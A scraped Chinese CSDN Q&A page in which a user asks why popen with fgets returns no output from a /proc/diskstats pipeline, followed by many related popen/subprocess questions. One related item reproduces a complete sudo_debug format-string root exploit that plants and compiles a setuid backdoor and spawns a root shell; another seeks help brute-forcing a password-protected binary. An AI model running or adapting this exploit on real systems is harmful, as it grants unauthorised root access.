popen调用后,从执行的shell命令结果中获取数据失败

#include
#include
#include
#include

#define CMD "cat /proc/diskstats| grep '\b[sh]d[a-z]\b'| awk '{print $4" "$6" "$8" "$10}'"
int main()
{
FILE *file=popen(CMD, "r");
char buff[255];
if(fgets(buff, 255, file)!=NULL)
printf("buff is %s\n", buff);
else
printf("fgets failed.\n");
pclose(file);
return 0;
}
单独执行这个shell命令是没问题的,但是popen调用之后就获取不到内容了,看了popen函数以“r”执行的结果是重定向到标准输出了,那么fgets时就应该是从标准输出里获取数据才对,获取不到是什么原因呢?

1个回答

你这个include的啥头文件啊?
http://blog.csdn.net/wangyaninglm/article/details/42303861
你看看这个行不?

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
python中的os.popen函数执行cmd命令带中文时命令执行失败怎么解决
1、在用python执行sqlmap批量扫描时,文件名带中文,os.popen命令执行失败。 ``` def Cmd_Sqlmap(self,path,b="疑似存在注入汇总.txt"): filename = os.path.join(path,b) os.chdir("E:\Python27\sqlmap") cmd="python sqlmap.py -m "+filename+' --random-agent --level=3 --threads="3" --batch --users --tables' print(cmd) p = os.popen(cmd.encode('gb2312').decode('gb2312')) print(p.read()) ``` 我在filename里有中文 ,代码应该没写错吧,命令执行失败了 ,求指教
使用execv执行shell命令,报错:libdl.so.2 not find
最近开发中遇到一个问题: 在Android4.4系统中,底层使用execv函数发送shell命令,例如“mount -o rw,remount /tvconfig”,可以正常使用 可是最近做Android8.0项目,使用execv会报“CANNOT LINK EXECUTABLE "crash_dump32":library"libdl.so.2" not found”的错误,换system执行不报错但是没有效果,用popen执行也是这个错误,求大神解答
subprocess.Popen('cd', shell=True, stdout=subprocess.PIPE)执行语句报错 ?
import subprocess obj = subprocess.Popen('cd', shell=True, stdout=subprocess.PIPE) 执行语句报错 报错内容: Traceback (most recent call last): File "<pyshell#1>", line 1, in <module> obj = subprocess.Popen('cd', shell=True, stdout=subprocess.PIPE) File "C:\Users\me\AppData\Local\Programs\Python\Python37\lib\subprocess.py", line 775, in __init__ restore_signals, start_new_session) File "C:\Users\me\AppData\Local\Programs\Python\Python37\lib\subprocess.py", line 1178, in _execute_child startupinfo) FileNotFoundError: [WinError 2] 系统找不到指定的文件。 ![图片说明](https://img-ask.csdn.net/upload/201908/02/1564719297_349957.png) 求大神解惑
python popen管道双输入问题
使用ffmpeg管道 ffmpeg_process = Popen('/root/bin/ffmpeg -i - -i - -f flv out.flv, shell=True, stdin=PIPE) 想问第二个 -i 后面的值怎样输入
用popen函数执行mount命令挂载磁盘
我在我公司的程序里通过调用popen: fpout = popen("mount /dev/sdf1 /root/point1 2>&1", "r"); 挂一个磁盘, 程序执行完后,用df命令查看不到挂载点,查看/var/log/m
Pytho在调用os.popen(cmd).read(),编码报错的问题
如题,我在调用os.popen(cmd).read()后,报了: UnicodeDecodeError: 'gbk' codec can't decode byte 0xab in position 74: illegal multibyte sequence 其中cmd指令是调用了某个jar包,jar输出的应该是utf-8,那么问题来了,我怎么样做才可以让read读取的是utf-8而不是gbk呢,请大神们赐教
PHP中调用popen执行命令行,总返回segmentation fault。
代码如下: $cli = '/path/program getval 2>&1'; $handle = popen($cli, 'r'); $read = fread($handle, 1024); pclose($handle); 但是单独执行命令行就没有问题。请问是怎么回事?该怎么查这个问题?
cmd中可执行的命令,用python os.popen提示“不是内部或外部命令,也不是可运行的程序”
因工作需要研究 python + appium 自动化,从 github 下载了最新的 appium-desktop-setup-1.8.2.exe 安装并且配置好所有相关内容,在 cmd 命令行中输入“appium -a 127.0.0.1 -p 4723”,可以正确地开启 appium server 1.9.1 的服务。然而在 python 中, 执行这段代码 ``` import os os.popen('appium -a 127.0.0.1 -p 4723') ``` 却提示“'appium' 不是内部或外部命令,也不是可运行的程序” 但是同样的这段代码却又是可以执行的 ``` import os print(os.popen('netstat -aon | findstr 4723').readlines()) ``` 包括像 adb devices 这样的命令都可以,但是 appium 的就是不行。求解!
求助:Python的Subprocess.popen()返回的对象的stdin怎么用以下代码为何写入后没反应也不会报错
Python ``` class Thread(threading.Thread): def __init__(self, name, sub): threading.Thread.__init__(self) self.name = name self.sub = sub def run(self): while True: if self.sub.poll() is not None: break command = bytes(str(input("console:").encode('utf-8')), encoding="utf-8") # print(type(command)) #下面这句不会报错,也执行了,就是无效,跟没有这句一样为啥 self.sub.stdin.write(command) is_input_started = False while True: empty = False try: enter = str(input('主文件路径:')) except SyntaxError: empty = True if not empty: if str(input('确定路径吗?(y,n):')) == 'y': break sub = subprocess.Popen(enter, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) while True: if sub.poll() is not None: print('Stopped') break out = sub.stdout.readline() if not out == "": print(out) if not is_input_started: thread = Thread.Thread('input', sub) thread.start() is_input_started = True ``` 输入后并没有任何反应,怎么办 求助:Python的Subprocess.popen()返回的对象的stdin怎么用以下代码为何写入后没反应也不会报错 求助:Python的Subprocess.popen()返回的对象的stdin怎么用以下代码为何写入后没反应也不会报错 运行的程序是长时间一直运行 过程中需要互交于是这个问题就来了
Python中用subprocess.popen调用matlab有时不成功是什么原因?
``` ComanndLine = r"matlab -nodesktop -nosplash -r Plot" p = subprocess.Popen(ComanndLine, \ stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) ``` 我想用这段代码调用matlab画图,在笔记本上可以正常运行,换到另一台电脑就不能调用matlab,直接跳过这步,进程中matlab不出现,请问这是因为环境设置的问题吗 ![这是我现在的环境配置](https://img-ask.csdn.net/upload/201906/14/1560504558_682408.png) 本来没有下面SystemRoot那几行,我加上了也没什么改变
PyQt5中使用了subprocess.Popen,在eric6中运行ping命令正常,但是打包后运行不正常
运行环境: pyqt5+python3 编辑器:eric6 在eric6中运行正常,ping命令也正常,如图 ![图片说明](https://img-ask.csdn.net/upload/201906/21/1561050701_167748.png) 但是使用pyinstaller打包以后,每点一次Run,都会自动新建一个窗口,无法正常返回ping命令的结果。 ![图片说明](https://img-ask.csdn.net/upload/201906/21/1561050876_909128.png) 输入“dir”“ipconfig”这样一次就出来的命令又没问题。ping是一秒一行结果 部分代码如下: pi= subprocess.Popen(order,shell=True,stdout=subprocess.PIPE) for line in iter(pi.stdout.readline,'b'): #读取line操作 请各位大大看下是什么情况
Python中subprocess模块怎样运行外一个shell命令的前提下再运行另外一个,谢谢
比如说先运行切换用户权限,然后再进行操作 比如以下编码是不行的 child1=subprocess.Popen('su test',shell=True) child1=subprocess.Popen('mkdir test',shell=True) 这样子还是会在当前用户进行mkdir,那怎样做才能在test用户下进行创建?谢谢!!
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
有关python中subprocess库的一个小问题
今天写了一个脚本,主要目的是想爆破一个需要输入密码的elf文件,但是脚本写好了之后不知道为什么总是报错,错误信息如下 ``` Traceback (most recent call last): File "test.py", line 7, in <module> subprocess.Popen.communicate(input=(i)) TypeError: communicate() missing 1 required positional argument: 'self' /bin/sh: 1: ./root/test/test.elf: not found ``` 以下是我写的脚本 ``` # coding:utf8 import subprocess i=0 for i in range(0,10251):#设定用于爆破的值的范围 subprocess.Popen("./root/test/test.elf", shell=True, stdout=subprocess.PIPE) subprocess.Popen.communicate(input=(i)) p=subprocess.Popen("./root/桌面/test ", shell=True, stdout=subprocess.PIPE) if p=="wrong!": continue print(p) get_str() ``` 求大佬指点
Linux系统中的音乐播放器
用的是centos7,GCC编译后就没反应了怎么回事?![图片说明](https://img-ask.csdn.net/upload/201912/25/1577263309_616211.png) ``` #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <dirent.h> #include <signal.h> #include <sys/wait.h> #include <time.h> #include <sys/ptrace.h> char * song[100];//指向歌名的指针数组 char song_buf[100];//存放将要播放的歌的歌名 char cmd_buf[100];//存放命令 int name[100];//存放播放过的歌曲名字,最多保存100首 int all = 0;//歌曲总数 int i;// int com=0;//当前歌 int flag=1;//默认列表播放 0为随机播放 1为列表播放 2为随机播放 int n; int a; void findmusic(void);//查找mp3文件 void getname(void);//获取mp3文件名字 void play_singlecircle_music1(int);//单曲循环 void play_listcircle_music1(int);//列表循环 void play_random_music(int);//随机播放 void last_music(int a);//上一首歌 void next_music(int a);//下一首歌 void text(void);//测试是否正在播放歌曲 void savename(void);//保存歌曲 void Name(void);//播放歌曲超过100时丢掉保存的第一首歌 int m=48;//0的ASCII值为48 void savename(void) { if(n<100){name[n++]=com;//将当前歌存放在数组里 } else Name();//当超过100首歌时,丢弃掉数组里存放的第一首歌 } void fun(int a)//父子进程成功通讯测试函数 { printf("父子进程通讯成功!\n"); } /*用ps -ef | grep -w madplay | grep -v grep | wc -l终端命令来测试是否madplay正在运行,如果运行,执行结果为1,否则为0*/ void text(void) { FILE *fp; FILE *fp2; char buf[15] ={"it's finish!"};//在这里随便定义了一个buf,反正最后只是用来承接终端命令返回值,并且只有第0位用的到 memset(buf,'\0',10); fp = popen("ps -ef | grep -w madplay |grep -v grep |wc -l ","r");//使用FIFO管道执行外部程序,获得的返回值用fread读 fread(buf,1,1,fp); pclose(fp); m=(int)buf[0];//这里获得的0和1为ASCII值 } int main(void) { int ch; int flag=0; getname();//获取当前目录下的mp3文件 pid_t pid=fork(); if(pid<0) { perror("fork"); return -1; } else if(pid==0) { signal(20,fun);//测试 signal(4,play_singlecircle_music1);//使用信号4当作单曲循环信号,觉得可以用,但是会不会影响性能并不清楚,下同 signal(5,play_listcircle_music1); signal(6,play_random_music); signal(7,last_music); signal(8,next_music); while(1);//不让子进程直接执行完毕,等待父进程的信号 } else{ printf("共找到以上本地MP3文件:\n"); sleep(2); kill(pid,20);//测试父子进程通讯 y: printf("*********************************\n");//菜单 printf(" 按1暂停播放 \n"); printf(" 按2继续播放 \n"); printf(" 按3单曲循环 \n"); printf(" 按4列表循环 \n"); printf(" 按5随机播放 \n"); printf(" 按6上一首歌 \n"); printf(" 按7下一首歌 \n"); printf(" 按0退出系统 \n"); printf("*********************************\n"); while(1) { z: printf("请输入你需要进行的操作\n"); scanf("%d",&ch); if(ch<0&&ch>7) {printf("输入有误!\n");goto z;} switch (ch) { case 1:printf("暂停\n"); sprintf(cmd_buf,"killall -SIGSTOP madplay");system(cmd_buf);break;//暂停,给madplay发送暂停信号 case 2:printf("播放\n"); sprintf(cmd_buf,"killall -SIGCONT madplay");system(cmd_buf);break;//播放 case 3:printf("单曲循环\n"); kill(pid,4);break;//单曲循环,给子进程发送信号,进入相应的服务函数 case 4:printf("列表循环\n"); kill(pid,5);break;//列表循环 case 5:printf("随机播放\n"); kill(pid,6);break;//随机播放 case 6: kill(pid,7);break;//上一首 case 7: kill(pid,8);break;//下一首 case 0: kill(pid,9);//关闭全部进程 sprintf(song_buf,"killall -9 madplay"); system(song_buf); raise(9); break; default :break; } goto y; }} wait(NULL); return 0; } void next_music(int a) { sprintf(song_buf,"killall -9 madplay"); system(song_buf); switch(flag) { case 0: savename(); text(); if(m!=48)//如果当前正在播放歌曲,则杀死madplay进程 {sprintf(song_buf,"killall -9 madplay"); system(song_buf);} printf("n = %d\n",n); sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); raise(4); break; case 1: savename(); printf("n = %d\n",n); if(com==(all-1)) com=-1; com++; text(); if(m!=48) {sprintf(song_buf,"killall -9 madplay"); system(song_buf);} sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); raise(5); break; case 2: savename(); printf("n = %d\n",n); srand((int)time(NULL)); int r=rand()%(all); com=r; text(); if(m!=48) {sprintf(song_buf,"killall -9 madplay"); system(song_buf);} sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); raise(6); break; } sleep(1); } void last_music(int a) { sprintf(song_buf,"killall -9 madplay"); system(song_buf); if(n<0) { printf("当前已是第一首\n"); n=0; } com=name[n-1]; n--; //printf("n = %d\n",n); //printf("com = %d\n",com); sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); sleep(1); if(flag==0) raise(4); else if(flag==1) raise(5); else if(flag==2) raise(6); } void play_random_music(int a) { int r; flag=2; while(1) { text: text(); if(m!=48)//还是madplay进程的问题,每延时3s查询一次是不是正在播放歌曲,总觉得很鸡肋,却又没找到其他的解决办法 {sleep(3); goto text;} repeat: srand((int)time(NULL)); r=rand()%(all); if (r>all-1) { goto repeat;//产生随机数如果大于i,重新获取,一般是不会的 } savename(); //printf("n = %d\n",n); com=r; sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); } } void play_listcircle_music1(int a) { flag=1; while(1) { text: text(); if(m!=48) {sleep(3); goto text;} savename(); //printf("n = %d\n",n); com++; if(com>all-1) {com=0;} sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); } } void play_singlecircle_music1(int a) { flag=0; while(1) { text: text(); if(m!=48) {sleep(3); goto text;} savename(); //printf("n = %d\n",n); sprintf(song_buf,"madplay -o wav:- /root/System_project/mp3/ %s 2> /dev/null | aplay 2>/dev/null &",song[com]); system(song_buf); } } void Name(void) { int j; for(j=0;j<99;j++) { name[j]=name[j+1]; } n--; } /* 这里使用脚本查询getname函数,脚本文件内容如下 find *.mp3 */ void findmusic(void) { system("./find.sh"); } void getname(void) { int len; int j; static char *buf; DIR *dir; all=0; struct dirent *ptr; dir = opendir(".");//在当前目录下查找MP3歌曲,如果还有其他路径,就把这里改为其他路径 while((ptr = readdir(dir))!=NULL) { len=strlen(ptr->d_name); len=len-4; if((strcmp(ptr->d_name+len,".mp3"))==0)//后四位进行比较,是否为“.mp3” { buf=(char*)malloc(100);//不开辟空间会导致数组里存放的歌曲全为最后一首歌 memset(buf,0,sizeof(buf)); strcat(buf,ptr->d_name); song[all++]=buf; } } for(j=0;j<all;j++) { printf("%s\n",song[j]); } } ```
使用VC调用别人用Delphi做的动态库访问冲突且无法加载请问是什么原因呢?
因为最近要做个PC与PLC通信的软件,因此在网上找到一个人用Delphi写的PLC通信dll库,应该是32位。我用VC2015写了个MFC要调用这个dll发现总是提示访问冲突,调用失败。因为有其他人是写图像处理的,环境必须要用VC 2015。但是和那个人联系他说其他人用了是没问题的,我因为是刚开始学这个软件,也没有dll源码,不知道问题出在哪。下面是我程序的源码,其他dll内函数声明我都还没用,只是用LoadlibraryA发现就已经失败了。**如果有朋友能在32位(64位更好)的C++ MFC环境下解决并调试成功的话,必有感谢。** 引用线内部分是我添加的,其他都是向导生成的。附件里面有调用的库。 ![图片说明](https://img-ask.csdn.net/upload/201911/21/1574305525_943286.png) dll地址:h1ttps://pan.baidu.com/s/1chKfBqmRsmDmvfMqt31RNg ``` // MFC-PLC21Dlg.cpp : 实现文件 // #include "stdafx.h" #include "MFC-PLC21.h" #include "MFC-PLC21Dlg.h" #include "afxdialogex.h" #ifdef _DEBUG #define new DEBUG_NEW #endif ///////////////////////////////////////////////////////////////// HINSTANCE hinstDLL; typedef int(_stdcall *pOpen)(int nport, int BaudRate, int DataBits, char* Parity, int StopBits, char* User); typedef int(_stdcall *pClose)(int nport); typedef int(_stdcall *pSetDelay)(int value); typedef int(_stdcall *pComTrue)(int nport); typedef int(_stdcall *pComWork)(int nport); typedef int(_stdcall *pReadBit)(int nport, int node, char* element, int address, int Bit); typedef int(_stdcall *pReadByte)(int nport, int node, char* element, int address, int Count, int* RxdBuffer); typedef int(_stdcall *pReadInt)(int nport, int node, char* element, int address, int Count, int* RxdBuffer); typedef int(_stdcall *pReadDInt)(int nport, int node, char* element, int address, int Count, int* RxdBuffer); typedef int(_stdcall *pReadFloat)(int nport, int node, char* element, int address, int Count, float* RxdBuffer); typedef int(_stdcall *pBitWrite)(int nport, int node, char* element, int address, int Bit, int value); typedef int(_stdcall *pBitEWrite)(int nport, int node, char* element, int address, int Bit, int value); typedef int(_stdcall *pEbitCancel)(int nport, int node, char* element, int address, int Bit); typedef int(_stdcall *pWriteByte)(int nport, int node, char* element, int address, int Count, int* TxdBuffer); typedef int(_stdcall *pWriteInt)(int nport, int node, char* element, int address, int Count, int* TxdBuffer); typedef int(_stdcall *pWriteDInt)(int nport, int node, char* element, int address, int Count, int* TxdBuffer); typedef int(_stdcall *pWriteFloat)(int nport, int node, char* element, int address, int Count, float* TxdBuffer); typedef int(_stdcall *pPlcRun)(int nport, int node); typedef int(_stdcall *pPlcStop)(int nport, int node); typedef int(_stdcall *pBitBin)(int value, int Bitaddress); typedef int(_stdcall *p16I_8h)(int value); typedef int(_stdcall *p16I_8l)(int value); typedef int(_stdcall *p8I_16I)(int valueH, int valueL); typedef int(_stdcall *p32I_16h)(int value); typedef int(_stdcall *p32I_16l)(int value); typedef int(_stdcall *p16I_32I)(int valueH, int valueL); typedef int(_stdcall *p32f_16h)(float value); typedef int(_stdcall *p32f_16l)(float value); typedef float(_stdcall *p16I_32f)(int valueH, int valueL); pOpen mOpen; pClose mClose; pSetDelay mSetDelay; pComTrue mComTrue; pComWork mComWork; pReadBit mReadBit; pReadByte mReadByte; pReadInt mReadInt; pReadDInt mReadDInt; pReadFloat mReadFloat; pBitWrite mBitWrite; pBitEWrite mBitEWrite; pEbitCancel mEbitCancel; pWriteByte mWriteByte; pWriteInt mWriteInt; pWriteDInt mWriteDInt; pWriteFloat mWriteFloat; pPlcRun mPlcRun; pPlcStop mPlcStop; pBitBin mBitBin; p16I_8h m16I_8h; p16I_8l m16I_8l; p8I_16I m8I_16I; p32I_16h m32I_16h; p32I_16l m32I_16l; p16I_32I m16I_32I; p32f_16h m32f_16h; p32f_16l m32f_16l; p16I_32f m16I_32f; /////////////////////////////////////////////////////////////// // 用于应用程序“关于”菜单项的 CAboutDlg 对话框 class CAboutDlg : public CDialogEx { public: CAboutDlg(); // 对话框数据 #ifdef AFX_DESIGN_TIME enum { IDD = IDD_ABOUTBOX }; #endif protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 // 实现 protected: DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialogEx(IDD_ABOUTBOX) { } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialogEx::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx) END_MESSAGE_MAP() // CMFCPLC21Dlg 对话框 CMFCPLC21Dlg::CMFCPLC21Dlg(CWnd* pParent /*=NULL*/) : CDialogEx(IDD_MFCPLC21_DIALOG, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CMFCPLC21Dlg::DoDataExchange(CDataExchange* pDX) { CDialogEx::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CMFCPLC21Dlg, CDialogEx) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(Test, &CMFCPLC21Dlg::OnBnClickedTest) END_MESSAGE_MAP() // CMFCPLC21Dlg 消息处理程序 BOOL CMFCPLC21Dlg::OnInitDialog() { CDialogEx::OnInitDialog(); // 将“关于...”菜单项添加到系统菜单中。 // IDM_ABOUTBOX 必须在系统命令范围内。 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { BOOL bNameValid; CString strAboutMenu; bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX); ASSERT(bNameValid); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // 设置此对话框的图标。 当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 SetIcon(m_hIcon, TRUE); // 设置大图标 SetIcon(m_hIcon, FALSE); // 设置小图标 // TODO: 在此添加额外的初始化代码 return TRUE; // 除非将焦点设置到控件,否则返回 TRUE } void CMFCPLC21Dlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialogEx::OnSysCommand(nID, lParam); } } // 如果向对话框添加最小化按钮,则需要下面的代码 // 来绘制该图标。 对于使用文档/视图模型的 MFC 应用程序, // 这将由框架自动完成。 void CMFCPLC21Dlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // 用于绘制的设备上下文 SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0); // 使图标在工作区矩形中居中 int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // 绘制图标 dc.DrawIcon(x, y, m_hIcon); } else { CDialogEx::OnPaint(); } } //当用户拖动最小化窗口时系统调用此函数取得光标 //显示。 HCURSOR CMFCPLC21Dlg::OnQueryDragIcon() { return static_cast<HCURSOR>(m_hIcon); } ///////////////////////////////////////////////////////////////////// void CMFCPLC21Dlg::OnBnClickedTest() { // TODO: 在此添加控件通知处理程序代码 hinstDLL = LoadLibraryA("S7200_PPI.dll"); if (hinstDLL) { mOpen = (pOpen)GetProcAddress(hinstDLL, "S7200ComOpen"); mClose = (pClose)GetProcAddress(hinstDLL, "S7200ComClose"); mSetDelay = (pSetDelay)GetProcAddress(hinstDLL, "S7200SetDelay"); mComTrue = (pComTrue)GetProcAddress(hinstDLL, "S7200ComTrue"); mComWork = (pComWork)GetProcAddress(hinstDLL, "S7200ComWork"); mReadBit = (pReadBit)GetProcAddress(hinstDLL, "S7200BitRead"); mReadByte = (pReadByte)GetProcAddress(hinstDLL, "S7200ByteRead"); mReadInt = (pReadInt)GetProcAddress(hinstDLL, "S7200WordRead"); mReadDInt = (pReadDInt)GetProcAddress(hinstDLL, "S7200DwordRead"); mReadFloat = (pReadFloat)GetProcAddress(hinstDLL, "S7200FloatRead"); mBitWrite = (pBitWrite)GetProcAddress(hinstDLL, "S7200BitWrite"); mBitEWrite = (pBitEWrite)GetProcAddress(hinstDLL, "S7200BitEWrite"); mEbitCancel = (pEbitCancel)GetProcAddress(hinstDLL, "S7200EbitCancel"); mWriteByte = (pWriteByte)GetProcAddress(hinstDLL, "S7200ByteWrite"); mWriteInt = (pWriteInt)GetProcAddress(hinstDLL, "S7200WordWrite"); mWriteDInt = (pWriteDInt)GetProcAddress(hinstDLL, "S7200DwordWrite"); mWriteFloat = (pWriteFloat)GetProcAddress(hinstDLL, "S7200FloatWrite"); mPlcRun = (pPlcRun)GetProcAddress(hinstDLL, "S7200PlcRun"); mPlcStop = (pPlcStop)GetProcAddress(hinstDLL, "S7200PlcStop"); mBitBin = (pBitBin)GetProcAddress(hinstDLL, "DecBitBin"); m16I_8h = (p16I_8h)GetProcAddress(hinstDLL, "Int16ToInt_8h"); m16I_8l = (p16I_8l)GetProcAddress(hinstDLL, "Int16ToInt_8l"); m8I_16I = (p8I_16I)GetProcAddress(hinstDLL, "Int8ToInt16"); m32I_16h = (p32I_16h)GetProcAddress(hinstDLL, "Int32ToInt_16h"); m32I_16l = (p32I_16l)GetProcAddress(hinstDLL, "Int32ToInt_16l"); m16I_32I = (p16I_32I)GetProcAddress(hinstDLL, "Int16ToInt32"); m32f_16h = (p32f_16h)GetProcAddress(hinstDLL, "Float32ToInt_16h"); m32f_16l = (p32f_16l)GetProcAddress(hinstDLL, "Float32ToInt_16l"); m16I_32f = (p16I_32f)GetProcAddress(hinstDLL, "Int16ToFloat32"); AfxMessageBox(L"S7200_PPI.dll已成功载入!"); } else { AfxMessageBox(L"没找到S7200_PPI.dll!"); SendMessage(WM_CLOSE); } } /////////////////////////////////////////////////////////// ```
C++调用shell重启程序
